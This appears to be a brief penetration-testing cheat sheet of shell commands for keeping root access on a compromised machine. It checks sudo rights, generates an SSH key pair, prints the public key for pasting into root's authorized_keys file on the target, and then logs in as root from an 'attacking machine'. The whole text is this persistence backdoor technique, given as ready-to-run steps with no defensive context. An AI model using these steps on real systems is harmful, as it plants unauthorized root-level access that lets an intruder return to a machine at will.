sudo su
sudo -l
# Generate ssh key pair
ssh-keygen -o
# Copy the public key
cat /root/.ssh/id_rsa.pub
# Paste it into your root/.ssh/authorized_keys file (create if necessary)
# Then try and access through ssh from attacking machine
ssh root@targetip